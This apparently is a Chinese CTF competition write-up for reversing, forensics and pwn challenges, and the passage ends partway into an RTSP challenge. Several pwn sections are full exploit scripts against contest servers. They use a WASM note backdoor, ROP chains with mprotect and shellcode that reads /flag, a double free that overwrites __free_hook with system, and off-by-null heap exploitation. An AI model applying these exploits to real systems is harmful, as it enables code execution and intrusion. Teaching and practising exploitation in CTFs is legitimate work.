def leakflag(leak_addr):
    p.recvuntil(b'Quit.')
    p.sendline(b'3')
    p.recvuntil(b'Quit.')
    p.sendline(b'2')
    p.recvuntil(b'Input destination IP:')
    p.sendline(leak_addr)
    p.recvline()
    return p.recvline()


def decodeflag(encodeflag):
    flaglist = str(encodeflag).split("is ")[1].replace("\\n'", "").split(".")
    flag = ""
    for i in flaglist:
        flag += chr(int(i))
    print(flag[::-1])
    return flag[::-1]


if __name__ == '__main__':
    final_flag = ""
    reset = b'0.0.0.0'
    top = b'255.255.255.255'
    leak_addr_list = [b'255.255.255.255', b'128.0.0.0', b'192.0.0.0', b'224.0.0.0', b'240.0.0.0', b'248.0.0.0', b'252.0.0.0', b'254.0.0.0', b'255.0.0.0',b'255.128.0.0',b'255.192.0.0']
    for leak_addr in leak_addr_list:
        p = remote("47.104.150.173",1337)
        attack1(reset)
        attack2(top, reset)
        attack3(leak_addr, reset)
        final_flag += decodeflag(leakflag(leak_addr))
        p.close()
    print(final_flag)


#flag{H0w_t0_B3c0m3_a5_str0ng_@s_y0u_guys}

ezre

好几张 base64 的表,然后反符编码解码。不过在 init array 里有一个检查调试的函数会破坏数据,好在绕过并不麻烦,直接用附加的方式接进去就能绕开了,然后就是动态调试把表拿出来,最后 cyberchef 一把梭:

__int64 __fastcall sub_401EB0_re(unsigned char* a1, unsigned char* a2)
{
    int len = 47;
    a1[len] ^= a1[len - 1];
    for (int i = len-1; i > 0; i--)
    {
        a1[i] ^= a1[i - 1];
        a1[i] ^= a2[i];
    }
    a1[0] ^= a2[0];
    return 0;
}

int main() {
    unsigned char ida_chars[] =
    {
      0x3A, 0x2C, 0x4B, 0x51, 0x68, 0x46, 0x59, 0x63, 0x24, 0x04,
      0x5E, 0x5F, 0x00, 0x0C, 0x2B, 0x03, 0x29, 0x5C, 0x74, 0x70,
      0x6A, 0x62, 0x7F, 0x3D, 0x2C, 0x4E, 0x6F, 0x13, 0x06, 0x0D,
      0x06, 0x0C, 0x4D, 0x56, 0x0F, 0x28, 0x4D, 0x51, 0x76, 0x70,
      0x2B, 0x05, 0x51, 0x68, 0x48, 0x55, 0x24, 0x19
    };

    char test[] = "fBDSfBDSfBDSfBDSfBDSfBDSfBDSfBDSfBDSfBDSfBDSfp==";
    char test2[64];
    memset(test2, 0, 64);
    char test3[64];
    memset(test3, 0, 64);
    for (int i = 0; i < 64; i++)
    {
        byte_406130[i] ^= 0x27;
    }
    unsigned char v3[] = { 109,76,22,73,110,77,74,78,16,98,22,109,16,126,78,109,76,22,73,110,77,74,78,16,98,22,109,16,126,78,109,76,22,73,110,77,74,78,16,98,22,109,16,126,78,109,76 };

    sub_401EB0_re(ida_chars, v3);//WZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp==
}

Babyre

有一些反调试,不过大体上不影响分析,就是有些数据会因此不同,所以还是要绕一下然后动调拿数据:

#include <stdio.h>
#include <cstdint>
#include"aes.h"
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], delta = 0x88408067, sum = 0xD192C263;
    for (int j = 0; j < 4; j++)
    {
        for (i = 0; i < num_rounds; i++) {
            sum -= delta;
            v1 -= (((v0 *32) ^ (v0 >> 4)) + v0) ^ (sum + key[(sum >> 11) & 3]);
            v0 -= (((v1 *32) ^ (v1 >> 4)) + v1) ^ (sum + key[sum & 3])^sum;
        }
    }
    v[0] = v0; v[1] = v1;

}

void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], sum = 0x90508D47, delta = 0x88408067;
    for (int j = 0; j < 4; j++)
    {
        for (i = 0; i < 33; i++) {
            v0 += (((v1 *32 ) ^ (v1 >> 4)) + v1) ^ (sum + key[sum & 3])^sum;
            v1 += (((v0 *32) ^ (v0 >> 4)) + v0) ^ (sum + key[(sum >> 11) & 3]);
            sum += delta;
        }
    }
    printf("%u", sum);

    v[0] = v0; v[1] = v1;
}

int main() {

    unsigned char ida_chars[] =
    {
      0xE0, 0xF2, 0x23, 0x95, 0x93, 0xC2, 0xD8, 0x8E, 0x93, 0xC3,
      0x68, 0x86, 0xBC, 0x50, 0xF2, 0xDD, 0x99, 0x44, 0x0E, 0x51,
      0x44, 0xBD, 0x60, 0x8C, 0xF2, 0xAB, 0xDC, 0x34, 0x60, 0xD2,
      0x0F, 0xC1
    };

    unsigned int enc[8];
    unsigned int *enc1 = (unsigned int*)ida_chars;
    for (int i = 0; i < 8; i++)
    {
        enc[i] = enc1[i];
    }

    uint32_t teakey[] =
    {
       0x62, 0x6F, 0x6D, 0x62,
    };
    decipher(33, enc, teakey);
    decipher(33, &enc[2], teakey);
    decipher(33, &enc[4], teakey);
    decipher(33, &enc[6], teakey);
    printf("%s", enc);
}

SpeedUp

计算一个超大数的 10 进制下每一位的和,在知乎上找到了一篇文章,答主给了代码能直接跑:

https://www.zhihu.com/question/489536779/answer/2342104485

#ifndef _GLIBCXX_NO_ASSERT
#include <cassert>
#endif
#include <cctype>
#include <cerrno>
#include <cfloat>
#include <ciso646>
#include <climits>
#include <clocale>
#include <cmath>
#include <csetjmp>
#include <csignal>
#include <cstdarg>
#include <cstddef>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <ctime>

#if __cplusplus >= 201103L
#include <ccomplex>
#include <cfenv>
#include <cinttypes>
#include <cstdalign>
#include <cstdbool>
#include <cstdint>
#include <ctgmath>
#include <cwchar>
#include <cwctype>
#endif

// C++
#include <algorithm>
#include <bitset>
#include <complex>
#include <deque>
#include <exception>
#include <fstream>
#include <functional>
#include <iomanip>
#include <ios>
#include <iosfwd>
#include <iostream>
#include <istream>
#include <iterator>
#include <limits>
#include <list>
#include <locale>
#include <map>
#include <memory>
#include <new>
#include <numeric>
#include <ostream>
#include <queue>
#include <set>
#include <sstream>
#include <stack>
#include <stdexcept>
#include <streambuf>
#include <string>
#include <typeinfo>
#include <utility>
#include <valarray>
#include <vector>

#if __cplusplus >= 201103L
#include <array>
#include <atomic>
#include <chrono>
#include <condition_variable>
#include <forward_list>
#include <future>
#include <initializer_list>
#include <mutex>
#include <random>
#include <ratio>
#include <regex>
#include <scoped_allocator>
#include <system_error>
#include <thread>
#include <tuple>
#include <typeindex>
#include <type_traits>
#include <unordered_map>
#include <unordered_set>
#endif
#include<gmpxx.h>
using namespace std;
auto getPrimePow(size_t n)
{
    vector<pair<size_t, size_t>> tab;
    vector<bool> ar;
    ar.resize(n + 1);
    tab.reserve(2 * n / log(n));
    for (size_t i = 2; i <= n; ++i)
    {
        if (!ar[i])
        {
            size_t cnt = 0;
            for (size_t j = i; j <= n; j += i)
            {
                ar[j] = true;
            }
            for (size_t j = i; j <= n; j *= i)
            {
                cnt += n / j;
            }
            tab.emplace_back(i, cnt);
        }
    }
    return tab;
}

template<typename iter>
mpz_class cal_odd(iter beg, iter end)
{
    if (beg == end)
    {
        if (beg->second % 2)
        {
            beg->second /= 2;
            return beg->first;
        }
        else
        {
            beg->second /= 2;
            return 1;
        }
    }
    auto mid = beg + (end - beg) / 2;
    return cal_odd(beg, mid) * cal_odd(mid + 1, end);
}

mpz_class cal(std::vector<std::pair<size_t, size_t>>& tab)
{
    mpz_class ans = 1;
    if (tab.size())
    {
        ans = cal_odd(tab.begin(), tab.end());
        while (tab.size() && tab.back().second == 0)
            tab.pop_back();
        auto subans = cal(tab);
        ans *= subans * subans;
    }
    return ans;
}

mpz_class Factorial(size_t n)
{
    auto tab = getPrimePow(n);
    return cal(tab);
}

int main()
{
    size_t i;
    std::cin >> i;
    auto answer = Factorial(i);
    std::cout<<answer<<std::endl;
    return 0;
}

这个代码能计算出那个 x 的具体值,但是因为实在太大了,重定向到文件里去:

emm 字节数好像还挺符合 nlogn 的,然后再写个脚本按位读取就行了:

bu=open("./test")
sumres=0

while True:
    temp=bu.read(1)
    if len(temp)>0:
        sumres+=int(temp)
    else:
        break
        
print(sumres)

最后 sha256 下:

找到PNG了吗

拿到题目附件,制作profile。

分析扫描文件后发现账户名为 “yuren” 直接过滤yuren看看有什么关键信息:

img

发现了很明显的信息,我们在桌面上有一个have_your_fun.jocker,但是导出来为0字节,无法分析。

因为是题目附件是vem文件,少不了取证,用volality2嗦一下,分析镜像是linuxubuntu2004的一个镜像,然后就直接全部用–dump-dir参数导出

img

用010editor打开,挨个分析。在6000.vma中发现有一个提示:分析发现应该是一个socket交互,大致是对have_your_fun文件进行处理的交互

img

但是不知道这个脚本在哪里,那就搜索一下关键词“please give” 应该是非预期 通过查找这个关键字找到了脚本

img

那就简单了,分析发现是明显的rc4加密,并且给了秘钥为:

do_not_care where_is_the_key

img

因为是rc4流加密,而且还是针对png的,直接可以手动加密两次次得到密文的头 用cyberchef嗦:

img

不知道为啥搜出来竟然有两个,但不影响做题 我们提取出来。

img

然后进行解密解密即可:

cyberchef继续一把嗦

img

flag{It’s_So_Hard_ToFind_A_Picture}

PWN

WTOA

通过大量调试确定主逻辑在 0x2150。

其余功能分别是

  • menu: 0x2120
  • getinput: 0x3EF0
  • output: 0x3DD0
  • atoi: 0x2990
  • add: 0x12F0
  • delete: 0x19C0
  • edit: 0x15D0
  • show: 0x1BA0
  • exit: 0x2900

上面函数大部分地址都是虚拟地址,根据程序设定的基地址进行偏移,不能直接访问。

flag的虚拟地址在0x501b40。

edit函数留有后门,可以直接修改node的结构体。

__int64 __fastcall edit(__int64 a1, __int64 a2, int a3)
{
  int v3; // ecx
  __int64 v4; // rbx
  __int64 v5; // r12
  __int64 v6; // r15
  unsigned int v7; // eax
  __int64 v8; // rsi
  __int64 result; // rax
  int v10; // r15d
  unsigned int offset; // eax
  unsigned int v12; // eax
  __int64 v13; // r14
  int v14; // r10d
  int v15; // ecx
  __int64 v16; // [rsp+0h] [rbp-60h]
  __int64 v17; // [rsp+8h] [rbp-58h]
  __int64 v18; // [rsp+10h] [rbp-50h]
  __int64 v19; // [rsp+18h] [rbp-48h]
  int v20; // [rsp+20h] [rbp-40h]
  __int64 savedregs; // [rsp+60h] [rbp+0h] BYREF

  if ( **(_QWORD **)(a1 + 8) + 48LL > (unsigned __int64)&savedregs )
    BUG();
  v3 = *(_DWORD *)(a1 + 336);
  v4 = (unsigned int)(v3 - 96);
  *(_DWORD *)(a1 + 336) = v4;
  v5 = *(_QWORD *)(a1 + 320);
  v19 = v5 + v4;
  *(_DWORD *)(v5 + v4 + 92) = a3;
  v6 = (unsigned int)(v3 - 48);
  *(_QWORD *)(v5 + v6) = 0LL;
  *(_QWORD *)(v5 + (unsigned int)(v3 - 24)) = 0LL;
  v18 = (unsigned int)(v3 - 24);
  *(_QWORD *)(v5 + (unsigned int)(v3 - 32)) = 0LL;
  v17 = (unsigned int)(v3 - 32);
  v20 = v3;
  *(_QWORD *)(v5 + (unsigned int)(v3 - 40)) = 0LL;
  v16 = (unsigned int)(v3 - 40);
  output(a1, a1, 0x452LL, 0LL);                 // output("index > ")
  getinput(a1, a1, 0LL, v6, 31LL);
  v7 = atoi(a1, a1, v6);
  *(_DWORD *)(v5 + v4 + 44) = v7;
  v8 = v5 + *(unsigned int *)(v5 + v4 + 92);
  if ( v7 < *(_DWORD *)(v8 + 8) )
  {
    if ( !*(_DWORD *)(v5 + *(unsigned int *)(v5 + *(_DWORD *)(v8 + 4) + 4 * v7)) )
      goto LABEL_5;
    output(a1, a1, 0x45BLL, 0LL);               // output("offset > ")
    *(_QWORD *)(v5 + v6) = 0LL;
    *(_QWORD *)(v5 + v18) = 0LL;
    *(_QWORD *)(v5 + v17) = 0LL;
    *(_QWORD *)(v5 + v16) = 0LL;
    getinput(a1, a1, 0LL, (unsigned int)(v20 - 48), 31LL);
    offset = atoi(a1, a1, (unsigned int)(v20 - 48));
    *(_DWORD *)(v5 + v4 + 40) = offset;
    if ( (unsigned __int64)offset >= *(_QWORD *)(v5
                                               + *(unsigned int *)(v5
                                                                 + (unsigned int)(*(_DWORD *)(v5
                                                                                            + *(unsigned int *)(v19 + 92)
                                                                                            + 4)
                                                                                + 4 * *(_DWORD *)(v5 + v4 + 44)))
                                               + 8) )
    {
LABEL_5:
      result = output(a1, a1, 0x546LL, 0LL);    // output("invalid!\n")
      v10 = v20;
      goto LABEL_16;
    }
    output(a1, a1, 0x465LL, 0LL);               // output("length > ")
    *(_QWORD *)(v5 + v6) = 0LL;
    *(_QWORD *)(v5 + v18) = 0LL;
    *(_QWORD *)(v5 + v17) = 0LL;
    *(_QWORD *)(v5 + v16) = 0LL;
    v10 = v20;
    getinput(a1, a1, 0LL, (unsigned int)(v20 - 48), 31LL);
    v12 = atoi(a1, a1, (unsigned int)(v20 - 48));
    *(_DWORD *)(v5 + v4 + 36) = v12;
    if ( v12 == 0x345231 )// backdoor
    {
      if ( *(_DWORD *)(v5 + 4016) == 1 )
      {
        v14 = *(_DWORD *)(v5 + v4 + 44);
        *(_DWORD *)(v5 + v4 + 4) = *(_DWORD *)(v5 + v4 + 40);
        *(_DWORD *)(v5 + v4) = v14;
        output(a1, a1, 0x4DELL, (unsigned int)(v20 - 96));// output("content for note[%lu] with offset [%lu] > ")
        wasm_0_::function_9_(
          a1,
          a1,
          (unsigned int)(*(_DWORD *)(v19 + 40)
                       + *(_DWORD *)(v5
                                   + *(unsigned int *)(v5
                                                     + (unsigned int)(*(_DWORD *)(v5 + *(unsigned int *)(v19 + 92) + 4)
                                                                    + 4 * *(_DWORD *)(v5 + v4 + 44))))),
          48LL);
        *(_DWORD *)(v5 + 4016) = 0;
        goto LABEL_15;
      }
      v13 = v5 + v4;
    }
    else
    {
      v13 = v5 + v4;
    }
    v15 = *(_DWORD *)(v5 + v4 + 44);
    if ( v12 > *(_QWORD *)(v5
                         + *(unsigned int *)(v5
                                           + (unsigned int)(*(_DWORD *)(v5 + *(unsigned int *)(v13 + 92) + 4) + 4 * v15))
                         + 8)
             - (unsigned __int64)*(unsigned int *)(v5 + v4 + 40) )
    {
      result = output(a1, a1, 0x546LL, 0LL);    // output("invalid!\n")
      goto LABEL_16;
    }
    *(_DWORD *)(v5 + v4 + 20) = *(_DWORD *)(v5 + v4 + 40);
    *(_DWORD *)(v5 + v4 + 16) = v15;
    output(a1, a1, 1246LL, (unsigned int)(v20 - 80));
    wasm_0_::function_9_(
      a1,
      a1,
      (unsigned int)(*(_DWORD *)(v5
                               + *(unsigned int *)(v5
                                                 + (unsigned int)(*(_DWORD *)(v5 + *(unsigned int *)(v13 + 92) + 4)
                                                                + 4 * *(_DWORD *)(v5 + v4 + 44))))
                   + *(_DWORD *)(v5 + v4 + 40)),
      *(unsigned int *)(v5 + v4 + 36));
LABEL_15:
    result = output(a1, a1, 0x550LL, 0LL);      // output("Saved!\n")
    goto LABEL_16;
  }
  result = output(a1, a1, 0x558LL, 0LL);        // output("Not supported!\n")
  v10 = v20;
LABEL_16:
  *(_DWORD *)(a1 + 336) = v10;
  return result;
}

利用后门修改结构体,使得node结构指向flag,然后利用show功能将flag输出。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

def add(content):
    sh.sendlineafter(b'Choice > ', b'A')
    sh.sendlineafter(b'size > ', str(len(content)).encode())
    sh.sendafter(b' > ', content)

def edit(index, offset, length, content):
    sh.sendlineafter(b'Choice > ', b'E')
    sh.sendlineafter(b'index > ', str(index).encode())
    sh.sendlineafter(b'offset > ', str(offset).encode())
    sh.sendlineafter(b'length > ', str(length).encode())
    sh.sendlineafter(b' > ', content)

def show(index, offset, length):
    sh.sendlineafter(b'Choice > ', b'S')
    sh.sendlineafter(b'index > ', str(index).encode())
    sh.sendlineafter(b'offset > ', str(offset).encode())
    sh.sendlineafter(b'length > ', str(length).encode())

sh = remote('47.100.169.26', 20231)

add(b'AB')
add(b'CD')
edit(0, 0, 0x345231, flat({0x20:0x501b40, 0x28:0x100}, filler=b'\0', length=0x30))
show(1, 0, 0x100)

sh.interactive()

simpleinterpreter

一道github有源码的C解释器,在2022年HWS出过一次。漏洞点在于C语言对指针的可操作性,这里通过memory_addr = &memory_addr;获得一个内存地址,然后通过加减偏移得到栈地址和libc地址,后续就是劫持ret返回为栈上rop链

需要找到2个debug symbol,分别用于逐句执行并输出相应汇编和输出完整汇编但不执行

.bss:00000000002050F8 ?? ?? ?? ?? ?? ?? ?? ??       qword_2050F8 dq ?                       ; DATA XREF: main+25A↑r
.bss:00000000002050F8                                                                       ; sub_EB0:loc_FF0↑r
.bss:0000000000205100 ?? ?? ?? ?? ?? ?? ?? ??       qword_205100 

漏洞点在功能11

case 11LL:
  v21 = *qword_205098;
  qword_205098 += 8LL;
  *v21 = qword_205090;
  v0 = qword_2050A8;
  goto LABEL_6;

exp

# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

p = remote("101.200.122.251","13410")
# p = process("./simpleinterpreter")
elf = ELF("./simpleinterpreter")
libc = elf.libc

context.log_level = "info" # info
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-hp','60']


def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    #script += 'set *0x5555556050f8=1\n'# 逐句执行并输出相应汇编
    # script += 'set *0x555555605100=1\n'# 输出完整汇编但不执行
    gdb.attach(p,script)

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------

code = '''
int main()
{
    int *memory_addr;
    int *stack_addr;
    int libc_addr;

    memory_addr = &memory_addr;
    memory_addr = memory_addr + (0x18/8);
    stack_addr = *memory_addr;
    stack_addr = stack_addr - (0xe0/8);
    libc_addr = *stack_addr;
    libc_addr = libc_addr - 0x021c87;
    *stack_addr = libc_addr + 0x000000000002164f; // rdi
    stack_addr++;
    *stack_addr = stack_addr & (~0xfff);
    stack_addr++;
    *stack_addr = libc_addr + 0x0000000000023a6a; // rsi
    stack_addr++;
    *stack_addr = 0x1000;
    stack_addr++;
    *stack_addr = libc_addr + 0x0000000000001b96; // rdx 
    stack_addr++;
    *stack_addr = 7;
    stack_addr++;
    *stack_addr = libc_addr + 0x11b7e0; // mprotect
    stack_addr++;
    
    *stack_addr = libc_addr + 0x000000000002164f; // rdi
    stack_addr++;
    *stack_addr = 0;
    stack_addr++;
    *stack_addr = libc_addr + 0x0000000000023a6a; // rsi
    stack_addr++;
    *stack_addr = stack_addr & (~0xfff);
    stack_addr++;
    *stack_addr = libc_addr + 0x0000000000001b96; // rdx
    stack_addr++;
    *stack_addr = 0x1000;
    stack_addr++;
    *stack_addr = libc_addr + 0x110020; // read
    stack_addr++;
    *stack_addr = stack_addr & (~0xfff);
}
'''
sla("Code size: ",len(code))
sa("Please give me the code to interpret: ",code)
# sleep(1)
# print(asm(shellcraft.cat('/flag')))
s(asm(shellcraft.cat('/flag')))

ia()

chatting

通过测试发现,利用 message 功能向一个不存在的用户发送消息时候,由于 message 功能会先申请堆块,然后检测用户不存在,再释放之前申请的堆块。这里如果多次利用 message 功能向一个不存在的用户发送消息 ,会莫名导致 double free。

于是先填满 tcache bin,然后在 fast bin 上 double free ,之后就是打 free_hook 为 system

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = remote('101.200.122.251', 14509)
#p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/home/xsh/Desktop/pwn-tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')

def add(name):
    sla(b'exit): ', b'add')
    sla(b'username: ', name)
def delete(name):
    sla(b'exit): ', b'delete')
    sla(b'delete: ', name)
def switch(name):
    sla(b'exit): ', b'switch')
    sla(b'switch to: ', name)
def message(name, size, data):
    sla(b'exit): ', b'message')
    sla(b'To: ', name)
    sla(b'size: ', str(size))
    sa(b'Content: ', data)
def read():
    sla(b'exit): ', b'read')
def listuser():
    sla(b'exit): ', b'listuser')
def Exit():
    sla(b'exit): ', b'exit')
def init(name):
    sla(b'username: ', name)

#

init(b'\x12\x34')

message(b'\x12\x34', 0x540, b'a')
add(b'2')
add(b'3')
message(b'2', 0x50, b'a')
delete(b'\x12\x34')
read()
libc_base = l64() - 0x3ebca0

for i in range(0x10):
    add(chr(i + ord('a')))
    message(chr(i + ord('a')), 0x70, p64(0)*2)

for i in range(0x8):
    delete(chr(i + ord('a')))
message(b'1', 0x50, p64(0)*2)
message(b'1', 0x50, p64(0)*2)

for i in range(0x3):
    delete(chr(i + ord('a') + 0x8))

#debug('b *$rebase(0x4797)\nb *$rebase(0x379e)')

message(b'1', 0x70, p64(0)*2)
delete(b'2')
message(b'1', 0x70, p64(0)*2)

free_hook = libc_base + libc.sym['__free_hook']
system, binsh = get_sb()

for i in range(7):
    message(b'3', 0x50, p64(0)*2)
message(b'3', 0x50, p64(free_hook))
message(b'3', 0x50, b'/bin/sh\x00')
message(b'3', 0x50, b'/bin/sh\x00')
message(b'3', 0x50, p64(system))

delete(b'3')

lg('libc_base', libc_base)
#debug()
inter()
pause()

warmup23

2.35 下的 off by null

参考文章 http://tttang.com/archive/1614/,但是由于不是完全一样,所以需要手动改下,这道题目提前申请了 0x10 的堆块,为了不扰乱堆布局

add(0x418) #0 A = P->fd
add(0x108 - 0x20) #1 barrier
add(0x438) #2 B0 helper
add(0x438) #3 C0 = P , P&0xff = 0
add(0x108) #4 barrier
add(0x488) # H0. helper for write bk->fd. vitcim chunk.
add(0x428) # 6 D = P->bk
add(0x108) # 7 barrier

从第一个 barrier 那里申请的堆块大小减少 0x20 即可

后面就是布置 fake chunk 的 fd 和 bk,堆重叠之后,构造出两个 idx 指向同一个堆块,然后填满对应的 tcache bin,再利用这两个 idx 进行 double free 即可,然后是修改 tcache struct 重构任意地址写,通过 stdout 泄露栈地址,最后在栈上 orw

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = remote('120.24.69.11', 12700)
#p = process('./warmup')
elf = ELF('./warmup')
libc = ELF('./libc.so.6')

def add(size, data = b'a'):
    sla(b'>> ', b'1')
    sla(b'Size: ', str(size))
    sa(b'Note: ', data)
def show(idx):
    sla(b'>> ', b'2')
    sla(b'Index: ', str(idx))
def delete(idx):
    sla(b'>> ', b'3')
    sla(b'Index: ', str(idx))

add(0x418) #0 A = P->fd
add(0x108 - 0x20) #1 barrier
add(0x438) #2 B0 helper
add(0x438) #3 C0 = P , P&0xff = 0
add(0x108) #4 barrier
add(0x488) # H0. helper for write bk->fd. vitcim chunk.
add(0x428) # 6 D = P->bk
add(0x108) # 7 barrier

# step 2 use unsortedbin to set p->fd =A , p->bk=D
delete(0) # A
delete(3) # C0
delete(6) # D

# unsortedbin: D-C0-A   C0->FD=A
delete(2) # merge B0 with C0. preserve p->fd p->bk

add(0x458, b'\x00'*0x438 + p64(0x551)[:-2])  # put A,D into largebin, split BC. use B1 to set p->size=0x551


# recovery
add(0x418)  # C1 from ub
add(0x428)  # bk  D  from largebin
add(0x418)  # fd    A from largein

# step3 use unsortedbin to set fd->bk
# partial overwrite fd -> bk 
delete(6) # A=P->fd
delete(2) # C1
# unsortedbin: C1-A ,   A->BK = C1
add(0x418, p64(0))  # 2 partial overwrite bk    A->bk = p
add(0x418)


delete(6) # A=P->fd
delete(3) # C1
delete(5)

add(0x4f8, b'\x00'*0x490)
add(0x3b0)
add(0x418)

delete(4)
sla(b'>> ', b'1')
sla(b'Size: ', str(0x108))
sa(b'Note: ', b'\x00'*0x100 + p64(0x550))

delete(3)

add(0x10)
add(0x10) # index 6 - 8
add(0x3f8)
show(4)
libc_base = l64() - 0x219ce0

add(0x70) # index 10
delete(4)
show(10)
rl(b'Note: ')
key = u64(p.recv(5).ljust(8,b'\x00')) - 1
heap_base = (key << 12)

add(0x70) # index 4
for i in range(4):
    delete(i)
for i in range(5, 8):
    delete(i)
delete(9)

for i in range(4):
    add(0x70) # index 0 ~ 3
for i in range(5, 8):
    add(0x70) #index 5 ~ 7
add(0x70) #index 9
for i in range(4):
    delete(i)
for i in range(5, 8):
    delete(i)

delete(4)
delete(9)
delete(10)

for i in range(7):
    add(0x70)
add(0x70, p64((heap_base + 0xf0) ^ (key + 1)))

environ = libc_base + libc.sym['__environ']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']

add(0x70)
add(0x70)
add(0x70, p64(0) + p64(stdout) + p64(0) + p64(heap_base + 0x260))

pl = p64(0x00000000fbad1800) + p64(0)*3 + p64(environ) + p64(environ + 8)
add(0xe0, pl)
stack = l64()

delete(0)
delete(1)
add(0x100, p64(stack - 0x148))

ret = libc_base + 0x29139
rsi = libc_base + 0x2be51
rdi = libc_base + 0x2a3e5
rdx = libc_base + 0x796a2
mprotect = libc_base + libc.sym['mprotect']

#debug('b *$rebase(0x17e9)\nb *$rebase(0x1895)\n')

pl = p64(0) + p64(rdi) + p64((stack >> 12) << 12) + p64(rsi) + p64(0x3000) + p64(rdx) + p64(7) + p64(mprotect)
pl += p64(stack - 0x100) + asm(shellcraft.open('/flag') + shellcraft.read(3, stack + 0x1000, 0x50) + shellcraft.write(1, stack + 0x1000, 0x50))

add(0x3b0, pl)

lg('stack', stack)
lg('heap_base', heap_base)
lg('key', key)
lg('libc_base', libc_base)

#debug()	
while 1 : pr()
#pause()

A-rtsp

一个 rtsp 协议程序,经过网上搜索和不断调试发现交互如下

s("GET_PARAMETER rtsp://127.0.0.1:8554/* RTSP/1.0\r\n")
s("CSeq: 2\r\n")
s(b'Session: ' + session + b'\r\n')
s("User-Agent: a\r\n")
s("Accept: application/sdp\r\n")
s("Content-Type: text/parameters\r\n")
s("GET_INFO: 2023\r\n")
s("\r\n")

其中可以控制 GET_PARAMETER 请求方法,来触发其他函数,在这道题目中,可以发现关键的是

SETUP
GET_PARAMETER
SET_PARAMETER
DESCRIBE

SETUP 功能可以用来返回需要的 session

__int64 __fastcall RTSPServer::RTSPClientSession::handleCmd_SETUP(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        __int64 a5)
{
  *(_QWORD *)(a1 + 64) = a2;
  *(_QWORD *)(a1 + 72) = a3;
  *(_QWORD *)(a1 + 80) = a4;
  *(_QWORD *)(a1 + 88) = a5;
  *(_QWORD *)(a1 + 96) = a4;
  return (*(__int64 (__fastcall **)(_QWORD, __int64, __int64 (__fastcall *)(RTSPServer::RTSPClientSession *__hidden, void *, ServerMediaSession *), __int64, bool))(**(_QWORD **)(a1 + 8) + 80LL))(
           *(_QWORD *)(a1 + 8),
           a3,
           RTSPServer::RTSPClientSession::SETUPLookupCompletionFunction1,
           a1,
           *(_QWORD *)(a1 + 24) == 0LL);
}

GET_PARAMETER 用来泄露程序基址
